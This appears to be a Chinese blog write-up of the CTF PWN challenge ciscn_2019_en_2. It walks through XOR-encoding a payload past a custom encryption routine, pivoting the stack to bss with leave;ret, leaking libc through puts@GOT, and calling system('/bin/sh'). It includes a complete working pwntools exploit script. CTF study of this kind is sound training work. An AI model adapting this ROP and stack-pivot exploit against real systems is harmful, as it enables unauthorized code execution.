news 2026/9/17 4:53:52

CISCN 2019 en_2:从栈溢出到栈迁移的CTF PWN实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CISCN 2019 en_2:从栈溢出到栈迁移的CTF PWN实战

1. 题目初印象:一道看着基础、实则藏坑的PWN题

CISCN 2019华北赛区的这道ciscn_2019_en_2,在PWN方向算是比较经典的一道栈迁移入门题。很多人第一次拿到它,会觉得“这不就是个溢出的简单题嘛”,结果真动手做才发现,里面那个自定义的加密函数能把人绕晕,栈迁移的细节也不是一上来就能整明白的。如果你正在刷CTF的PWN栈题,想从“会溢出但不会打通”过渡到“能独立打出ROP链”,这道题是一个特别合适的练手样本。

先说整体评价:题目给了输出函数、给了溢出点、甚至还在main里留了一个格式化字符串漏洞的“幻影”,保护方面只开了NX栈不可执行,没有canary、没有PIE,Partial RELRO可以让GOT表继续可写。表面看非常温柔,实际上真正的拦路虎有三个:一是能溢出的字节数极少,一次只够覆盖返回地址;二是代码里有一个加密函数会更改栈上的payload;三是单次利用拿不到shell,必须分两段来打。这篇文章就围绕这三个问题展开,把整道题的静态分析、利用思路、完整exp和踩坑记录都过一遍。

我自己刷这道题的时候,前后卡了将近一个下午。网上很多exp直接甩出来就完事,但没人讲清楚为什么payload要异或0x11、为什么伪造rbp要减8、为什么第一次要先往bss段写一条链。这篇博文你只要跟着走下去,把这些“为什么”全部捋明白,以后遇到栈迁移的题基本就不会再虚了。

2. 前期准备与漏洞排查思路

2.1 拿到题后先做信息收集

不管是CTF比赛还是平时练习,拿到一个ELF文件别急着扔IDA,先跑一遍checksec,再跑一遍程序感受一下交互流程,这两步能帮你省下大量时间。

我用的环境是Ubuntu 18.04的虚拟机,配合pwndbg和IDA Pro 7.5。先做基础检查:

file ciscn_2019_en_2 checksec --file=./ciscn_2019_en_2

输出结果大致是这样的:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

一行一行看:64位程序,小端序;Partial RELRO意味着GOT表可写,理论上可以考虑改GOT;没有栈canary保护,这是栈溢出能够成立的前提;NX开启说明栈上不能执行shellcode,必须走ROP;PIE没开,说明程序加载基址固定是0x400000,所有函数地址和gadget地址都可以直接在IDA或objdump里查死值。

运行一下程序:

welcome to ciscn_2019

然后会等待输入。正常交互后继续输入,程序走完就退出了,没有循环。这里有个关键点:程序退出前只调用了一次加密函数,也就是说,你的溢出机会只有一次,这就决定了后面必须做栈迁移,而不是简单地“溢出一次拿shell”。

2.2 静态分析的几个关键点

用IDA打开main函数,伪代码大概长这样:

int __cdecl main(int argc, const char **argv, const char **envp) { char v2[8]; // 栈上变量 puts("welcome to ciscn_2019"); printf(v1); // v1是bss段全局变量,初始为0 gets(v2); // 向bss段某个位置写数据 encrypt(); // 栈溢出点 return 0; }

有几个细节需要解释一下。main里的printf(v1)虽然看起来是一个格式化字符串漏洞,但v1是bss段的一个全局变量,初始内容为空字节,正常情况下这里不会输出任何可控内容。网上有些文章说这道题可以用格式化字符串漏洞,但实际做题时会发现这个点很难直接利用,因为v1的内容并不可控,或者说要配合其他操作才能让它可控。所以更主流的解法完全绕开它,主攻点在encrypt函数。

encrypt函数的伪代码是这个样子:

unsigned __int64 encrypt() { char buf[80]; // 实际是0x50 unsigned __int64 i; unsigned int j; read(0, buf, 0x60uLL); for (j = 0; j < strlen(buf); ++j) { if (buf[j] > 64 && buf[j] <= 90) buf[j] ^= 0x10; else if (buf[j] > 96 && buf[j] <= 122) buf[j] ^= 0x11; else if (buf[j] > 47 && buf[j] <= 57) buf[j] ^= 0x20; else buf[j] ^= 0x11; } return i; }

这就是整个题目最容易让人发懵的地方:read最多读入0x60字节,而buf只有0x50字节,所以可以直接覆盖返回地址,溢出了0x10字节。但读入的数据会经过一个自定义的加密逻辑:大小写字母分别异或0x10/0x11,数字异或0x20,其他字符统一异或0x11。我们的ROP链里填充的地址、垃圾数据,大多不属于字母数字范围,所以加密函数会统一把它们异或0x11。这意味着,你在发送payload之前,得预先对payload整体异或0x11,让加密函数“解密”回真正的ROP链。

还有一点要特别注意:for循环的次数依赖于strlen(buf)。如果payload里有\x00,strlen会在遇到第一个零字节时停止,后面的字节不会经过加密处理。但问题是,加密函数是先把read读到的数据存进栈,再原地修改的,如果strlen提前截断,前面的合法字节可能已经被加密破坏了,后面的字节又没被加密,整个payload就是“一半加密一半没加密”,完全乱套。所以在构造payload时,要么保证所有字节经过预异或后不含零,要么就选择让strlen走完整条payload。实际操作里,我会把最终要落到栈上的数据记为real_chain,发送内容则是real_chain ^ 0x11,这样加密函数处理完,栈上正好是real_chain

3. 利用思路:为什么必须做栈迁移

3.1 一次溢出能控制多少东西

buf到保存的返回地址之间,距离是0x50字节,但read只会读入0x60字节。也就是说,我们真正能覆盖到的范围是:0x50个填充字节,加8字节的旧rbp,再加8字节的返回地址。溢出量只有两个qword。

如果你直接把返回地址改成某个one_gadget,大概率会因为栈环境不满足而失败;改成system("/bin/sh")的ROP链呢?一条完整的execve链至少需要多个gadget连续排列,而我们只有一次跳转机会,栈上剩下部分并不受我们控制。所以在这种“溢出字节少但能控制rbp和ret”的情况下,最自然的思路就是:把栈指针rsp劫持到一块我们能写大量数据的内存区域,然后在那块区域里布置完整的ROP链。这个过程就是栈迁移(Stack Pivot)。

3.2 栈迁移的原理:核心在leave; ret

栈迁移依赖的指令是leave; ret。x86-64下,leave等价于:

mov rsp, rbp pop rbp

先把栈指针恢复到当前函数栈帧的底部,再从栈上弹出一个值到rbp。ret则是从栈顶弹出地址并跳转。

正常函数返回时,编译器会生成leave; ret,这是每个函数的标配收尾动作。如果我们能把旧的rbp覆盖成某个可控地址,返回地址覆盖成另一处leave; ret的地址,那么就会触发两次leave; ret

  • 第一次leave; ret是encrypt函数自身的收尾,作用是把rsp移回当前rbp,并弹出我们伪造的rbp值。
  • 第二次leave; ret是我们跳过去重新执行的,它会执行mov rsp, rbp; pop rbp; ret。此时rbp已经被我们控制,rsp就会跟着迁到我们指定的位置。

用一个生活化的类比:正常函数的栈就像你正在用的办公桌,桌上只有几张纸能写,肯定不够用。栈迁移的思路就是,先把备用营地(bss段)里的作战计划写好,然后在办公桌销毁的时候,把“指挥权”移交到备用营地,让程序继续从备用营地里取指令执行。

3.3 为什么伪造rbp时要减8

这是很多新手第一次做栈迁移最困惑的地方。假设我们要把栈迁移到bss段的起始地址bss_start,那么覆盖rbp的值应该是bss_start - 8,返回地址是leave_ret

原因是这样的。当程序执行到第二次的leave; ret时,leave会先把rsp指向rbp(此时rbp =bss_start - 8),然后执行pop rbp,这个操作会从bss_start - 8处读取8字节到rbp,同时rsp变成bss_start。紧接着retbss_start处读取8字节作为返回地址并跳转。

所以实际上,bss段的前8字节会被当成新的rbp值弹出丢弃,真正开始执行ROP链的位置在bss_start + 8。为了不浪费空间,我们通常会在bss段的起始8字节填一个占位垃圾值,然后从bss_start + 8开始布置第一条指令地址。

3.4 两段式利用的设计

因为没有循环,程序调用一次encrypt就退出了,所以一次栈迁移虽然能执行一条ROP链,但这条链要完成“泄露libc地址”+“再次获得输入”两部分功能。设计如下:

  • 第一段链:调用puts(puts@got),把GOT表中puts的真实地址打印出来,然后跳回main,让程序重新走一遍流程,给我们第二次输入机会。
  • 拿到泄露地址后,通过LibcSearcher或本地libc文件计算出system/bin/sh的地址。
  • 第二段链:在bss段上布置pop rdi; ret/bin/sh地址、system地址,再次栈迁移后直接执行system("/bin/sh")

有人可能会问,为什么不第一段链直接执行puts(puts@got)后跳到encrypt,而是跳回main?跳回encrypt理论上也行,但需要重新构造栈环境和加密逻辑,容易出问题。跳回main的好处是,main会重新调用gets向bss段写入新的ROP链,然后再次调用encrypt触发栈迁移,整个流程复用第一段,逻辑最简单,踩坑最少。

4. 完整exp与核心环节实现

4.1 先找gadget和地址

把程序拖进pwndbg,或者用ROPgadget查gadget:

ROPgadget --binary ./ciscn_2019_en_2 --only "pop|ret" ROPgadget --binary ./ciscn_2019_en_2 --only "leave|ret"

我本地环境里拿到的结果是:

pop_rdi = 0x400ad3 leave_ret = 0x400a18

不同版本题目附件可能地址略有差异,但只要你用的是同一份题目二进制,这两个地址通常不会变。如果你复现时发现地址对不上,不要硬抄,用ROPgadget重新查一下就知道了。

还需要确认几个符号地址:

puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] bss_addr = 0x601080

这里重点说下为什么用puts@got而不是直接泄露其他函数。puts在程序里确实被调用了,GOT表里有它的真实地址,而且puts打印字符串时遇到\x00会停止、遇到换行会输出换行符,非常适合用来泄露libc地址。如果你用printf来泄露,会多出很多干扰字符,解析比较麻烦。

4.2 payload构造与异或逆变换

这道题的payload构造要分两层理解。

第一层,是实际写到栈上的ROP链。第一段栈迁移的栈上链子:

# bss上的布局 chain1 = b'JUNK' * 2 # bss+0 会被pop rbp丢弃,占8字节 chain1 += p64(pop_rdi) # bss+8 chain1 += p64(puts_got) # bss+16 chain1 += p64(puts_plt) # bss+24 chain1 += p64(main_addr) # bss+32

第二层,是实际通过read发送进去的字节。因为encrypt函数会对每个非字母数字字符异或0x11,所以我们发送的内容应该是chain1异或0x11之后的结果。同时,栈溢出部分的填充字节也要特别注意:我们想让栈上最终出现的是0x50个\x00,那么发送时就要发送0x50个\x11,因为0x11 ^ 0x11 = 0x00

完整的第一次发送构造如下:

payload = b'\x11' * 0x50 payload += p64(bss_addr - 8) # 覆盖旧rbp payload += p64(leave_ret) # 覆盖返回地址 payload = xor(payload, 0x11)

注意这里有个细节:覆盖旧rbp的bss_addr - 8和返回地址leave_ret也属于需要被“解密”的字节,所以在拼接完之后统一做异或,而不是只对填充部分异或。用pwntools自带的xor函数处理非常方便。

整体发送流程是:先用main里的gets往bss段写入chain1(gets会读入并写入bss),然后调用read输入上述溢出payload,触发栈迁移。有的题目main里那个写bss的函数不叫gets,但本质都是往bss段写数据,发送方式大同小异。

4.3 第一次连接:泄露puts地址

先给出第一段exp的核心代码:

def exploit_first(p): p.recvuntil(b'welcome to ciscn_2019\n') chain = b'JUNKJUNK' # bss+0 占位 chain += p64(pop_rdi) # bss+8 chain += p64(puts_got) # bss+16 chain += p64(puts_plt) # bss+24 chain += p64(main_addr) # bss+32 p.sendline(chain) payload = b'\x11' * 0x50 payload += p64(bss_addr - 8) payload += p64(leave_ret) payload = xor(payload, b'\x11') p.send(payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) return puts_addr

这段代码里两个细节值得展开讲。

第一个细节,为什么用recvuntil(b'\x7f')?因为glibc的地址通常以0x7f开头,puts打印GOT表里的真实地址时,会输出从低位到高位的字节序列,比如0x7f........。我们截取到第一个以0x7f结尾的6字节,补成8字节,就是puts的真实地址。这个办法在本地和远程都很稳,比你固定写recv(6)要通用得多。

第二个细节,为什么用send而不是sendline?encrypt的read读0x60字节,如果你用sendline,末尾会多一个\n,这个\n也会被读进去、参与异或加密,虽然通常不影响栈迁移,但为了payload长度精确可控,这里最好用send,一次发完0x60字节。

泄露之后,计算libc基址:

libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

如果你不知道远程靶机的libc版本,可以用LibcSearcher:

from libcsearcher import LibcSearcher obj = LibcSearcher('puts', puts_addr) libc_base = puts_addr - obj.dump('puts') system_addr = libc_base + obj.dump('system') binsh_addr = libc_base + obj.dump('str_bin_sh')

这一步是最容易出现“本地通远程挂”的环节,后文会专门讲。

4.4 第二次连接:栈迁移拿shell

第一次连接跑完,程序跳回main,会再走一遍getsencrypt。第二次的利用方式和第一次几乎一样,只是bss段上布置的链条从“泄露地址”换成了“执行system”。

第二次的链子:

chain2 = b'JUNKJUNK' chain2 += p64(pop_rdi) chain2 += p64(binsh_addr) chain2 += p64(system_addr)

然后发送方式和第一次完全相同:

def exploit_second(p): p.recvuntil(b'welcome to ciscn_2019\n') p.sendline(chain2) payload = b'\x11' * 0x50 payload += p64(bss_addr - 8) payload += p64(leave_ret) payload = xor(payload, b'\x11') p.send(payload) p.interactive()

执行到p.interactive()后,如果一切正常,你已经拿到shell了。如果没拿到,最常见的原因不是链子错了,而是异或处理没做好,或者libc基址算错了。

4.5 完整exp统一脚本

把两段整合到一起,调试方便。我这里把本地调试和远程攻击统一写成一份脚本,用命令行参数切换:

from pwn import * context.arch = 'amd64' context.log_level = 'info' io_local = False elf = ELF('./ciscn_2019_en_2') if io_local: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./ciscn_2019_en_2') else: libc = ELF('./libc-2.27.so') p = remote('ip', port) pop_rdi = 0x400ad3 leave_ret = 0x400a18 bss_addr = 0x601080 main_addr = elf.symbols['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] def send_payload(p, chain): p.recvuntil(b'welcome to ciscn_2019\n') p.sendline(chain) payload = b'\x11' * 0x50 payload += p64(bss_addr - 8) payload += p64(leave_ret) payload = xor(payload, b'\x11') p.send(payload) # 第一次泄露 chain1 = b'JUNKJUNK' chain1 += p64(pop_rdi) chain1 += p64(puts_got) chain1 += p64(puts_plt) chain1 += p64(main_addr) send_payload(p, chain1) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.success('puts_addr: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) log.success('libc_base: ' + hex(libc_base)) log.success('system_addr: ' + hex(system_addr)) log.success('binsh_addr: ' + hex(binsh_addr)) # 第二次getshell chain2 = b'JUNKJUNK' chain2 += p64(pop_rdi) chain2 += p64(binsh_addr) chain2 += p64(system_addr) send_payload(p, chain2) p.interactive()

这份脚本里,send_payload函数统一处理了“往bss段写链子”和“发送栈溢出payload”两步,避免两段代码重复写两遍。实际比赛的时候,这种封装能节省大量时间,也减少出错概率。

5. 常见问题与排查技巧实录

5.1 strlen截断导致payload没被完全加密

这个坑太经典了。encrypt函数里循环条件是j < strlen(buf),如果你的payload里有\x00,strlen在第4个字节就停了,后面的字节虽然被read写进栈,但不会参与异或,而前面几个字节却被异或了,整个ROP链就没法还原。

这个问题最好的解决办法就是开头讲过的异或预处理:所有payload统一xor 0x11之后再发送。你会发现,原本地址里的\x00,异或0x11后会变成\x11,不再是strlen的终止符。数据经过加密函数后,又被还原成原始地址和填充值。

我建议在调试阶段,不管三七二十一,先对最终发送的payload整体做xor(payload, b'\x11'),不要手动判断哪个字节需要异或。这样做虽然多了一步,但保证逻辑统一,几乎不会出错。

5.2 本地能打通,远程却不回显

远程打不通,90%是libc版本不对。同一个puts真实地址,在不同glibc里对应的偏移完全不同。本地可以偷懒直接用/lib/x86_64-linux-gnu/libc.so.6,但远程题目的libc大概率和你本地不是一个版本。

解决办法很简单:要么比赛给了libc.so文件,直接加载它计算偏移;要么用LibcSearcher根据泄露的puts地址搜索匹配的libc。实际比赛里LibcSearcher偶尔会命中多个结果,这时可以再多泄露一个__libc_start_main地址来交叉确认,或者直接结合远程的Ubuntu版本推测。

另外一个细节:如果你在远程环境里执行p.sendline(chain),注意chain里可能包含\x0a之类的字节,gets读到\n就停止,但\x0a本身也是合法payload的一部分。在栈迁移链子里,p64地址中如果包含0x0a,使用gets读入时会造成提前截断,这也是一些题目真正麻烦的地方。不过ciscn_2019_en_2里,我构造的chain1和chain2通常不会踩到这个雷,如果不放心,可以把bss上的地址选得巧妙一点,或者用能接收空字节的函数来写。

5.3 用pwndbg检查加密是否按预期还原

调试的时候,我习惯在encrypt函数的返回地址处下断点,然后查看栈上数据和bss段数据,确认加密后的结果是不是我们真正想要的链子。

具体操作:

b *0x400A18 # 这里的地址是leave_ret,也就是encrypt返回后会跳转的地方 run

发送payload后,程序停在断点处,执行:

x/10gx $rbp x/20gx 0x601080

如果0x601080附近看到连续的ROP链地址,说明payload加密处理正确;如果看到乱码或者一堆无规律字节,说明异或预处理没做好,或者strlen截断影响了加密流程。

我之前调试时遇到过一种情况:bss段确实是我们的chain,但栈上填充区却出现了大量0x11而不是0x00。后来发现是忘记对整个溢出payload做异或,导致发送的0x11填充原样进入buf,加密函数又把它们异或成0x00之外的值。这类问题用gdb一看就非常明显。

5.4 gets、read和sendline的选择

main里那个写bss的函数,很多人以为只是普通输入,但它和后面read的配合很容易出问题。具体来说,bss段的写入发生在encrypt调用之前,使用的是行输入,会一直读到换行符为止;而encrypt里的read是固定长度读取0x60字节,不接受换行符截断。

所以在exp里,我用sendline写bss段,因为gets需要换行符结束;用send发溢出payload,因为read要精确读0x60字节。如果反过来用,要么payload读不完整,要么bss段的内容多了个换行符,导致后面ROP链解析错位。

5.5 拿不到shell时排查顺序

如果第二段跑完没进入shell,我会按从简单到复杂的顺序排查:

  1. 先确认第一段泄露的puts地址是否合理,比如低12位是否和libc中puts的偏移低12位一致。如果低12位对不上,说明解析数据有问题,不是libc版本问题。
  2. 确认system和binsh计算是否正确。用libc.search(b'/bin/sh')时,如果libc文件选错,搜到的地址可能根本不可读。
  3. system调用前加ret对齐?这道题里一般不需要,因为pop rdi; ret已经足够对齐栈,但不排除个别libc版本对栈对齐有要求。遇到SIGSEGV时,可以在chain开头加一个retgadget试一下。
  4. 检查第二次的bss段是不是被上一次的残留数据污染。如果bss地址选得离第一次太近,第二次写入的chain可能会覆盖第一次的遗留内容,只要保证chain2总长度不超过bss区域就行。

5.6 用无字母数字字节减少意外分支

encrypt的加密逻辑里,如果某个字节落在大写字母A-Z区间,会异或0x10;落在小写字母a-z区间,异或0x11;落在数字0-9区间,异或0x20。这意味着,如果我们的payload里出现A这样的字符,加密函数不会用统一的0x11处理,而是异或0x10。虽然用整体xor 0x11预处理后,正常情况下不会出现字母数字字符,但你仍要小心chain2里的/bin/sh地址,它是从libc里搜出来的,某个字节可能恰好是字母或数字。如果真出现这种情况,实际上不会影响栈上的链子,因为这个地址是作为参数传给system的,system会去内存中读取这个字符串内容,并不会被encrypt函数二次处理。真正会被加密的只有栈上和bss段里的ROP链指令地址,而这些地址几乎不会落在字母数字区间。

6. 栈迁移题型的通用经验

做完这道题,最大的收获不是拿到一次shell,而是把栈迁移这个技术点彻底吃透了。以后再遇到“溢出字节不够”“栈上空间受限”“只能控制rbp和ret”的题目,第一反应就应该是栈迁移。

通用的思考套路是这样的:先看溢出能控制多少字节。如果只能覆盖到返回地址,那就找找有没有一个合适的可控内存区域可以存放完整ROP链,比如bss段、堆段,甚至栈上更远的位置。然后把目标内存区域的地址减8覆盖给rbp,把leave_ret地址覆盖给返回地址,触发迁移。迁移后第一条链不要想一次getshell,先泄露出libc地址,跳回main或者重复入口,拿到第二次机会,再打system。

这套打法不仅适用于ciscn_2019_en_2,在很多其他题目里也完全适用。区别只在于bss段能不能写、程序有没有循环、有没有加密逻辑需要绕过。学会了这道题,后面再遇到“栈迁移+格式化字符串”“栈迁移+沙箱”这类组合题,你就有基础了。

最后分享一个我踩过几次坑之后的个人习惯:exp里尽量不要写死魔法偏移,所有gadget和符号地址都要从ELF文件里动态取,除非你确定题目二进制不会变。这个习惯在比赛时间紧张的时候尤其重要,能避免因为一个小数点地址问题浪费半小时。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/17 4:53:03

按键精灵实现移动端自动发送邮件全攻略

1. 项目背景与需求解析移动端自动化操作正在成为提升工作效率的热门方向。最近接到一个需求&#xff1a;需要在iOS和安卓设备上实现自动发送邮件的功能。经过调研&#xff0c;按键精灵这款跨平台辅助工具进入了我的视线。按键精灵作为一款老牌自动化工具&#xff0c;其移动端版…

作者头像 李华
网站建设 2026/9/17 4:49:41

HarmonyOS 6聊天页面开发实战与性能优化

1. 项目背景与核心价值作为一名在移动端开发领域深耕多年的开发者&#xff0c;我见证了HarmonyOS从诞生到成熟的完整历程。HarmonyOS 6作为最新版本&#xff0c;在分布式能力、性能优化和开发体验上都有了显著提升。这次我将通过一个聊天页面实战案例&#xff0c;带大家深入理解…

作者头像 李华
网站建设 2026/9/17 4:48:27

sed -i 安全使用指南:跨平台陷阱、原子性原理与生产避坑实践

1. 为什么你写的sed -i总是报错、备份失效或悄悄改错文件&#xff1f;“sed -i不就是原地替换文本嘛&#xff0c;一行命令搞定”——这是我刚接触 Linux 时最自信的错觉。直到某次线上配置批量更新&#xff0c;用sed -i s/old/new/g *.conf批量修改 Nginx 配置后&#xff0c;三…

作者头像 李华
网站建设 2026/9/17 4:47:57

Galgame短评合集指南:卡片式短评与五维评分体系

短评合集这东西&#xff0c;我是从三年前开始攒的。一开始只是打完一部随手在备忘录里敲两行字&#xff0c;后来越攒越多&#xff0c;干脆整理成一份公开的 Galgame 短评合集&#xff0c;按通关时间倒序排&#xff0c;每隔一段时间做一次增补&#xff0c;这次的“9.12更新”已经…

作者头像 李华
网站建设 2026/9/17 4:45:55

Python资产管理系统实战:从数据模型到状态机与定时任务

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华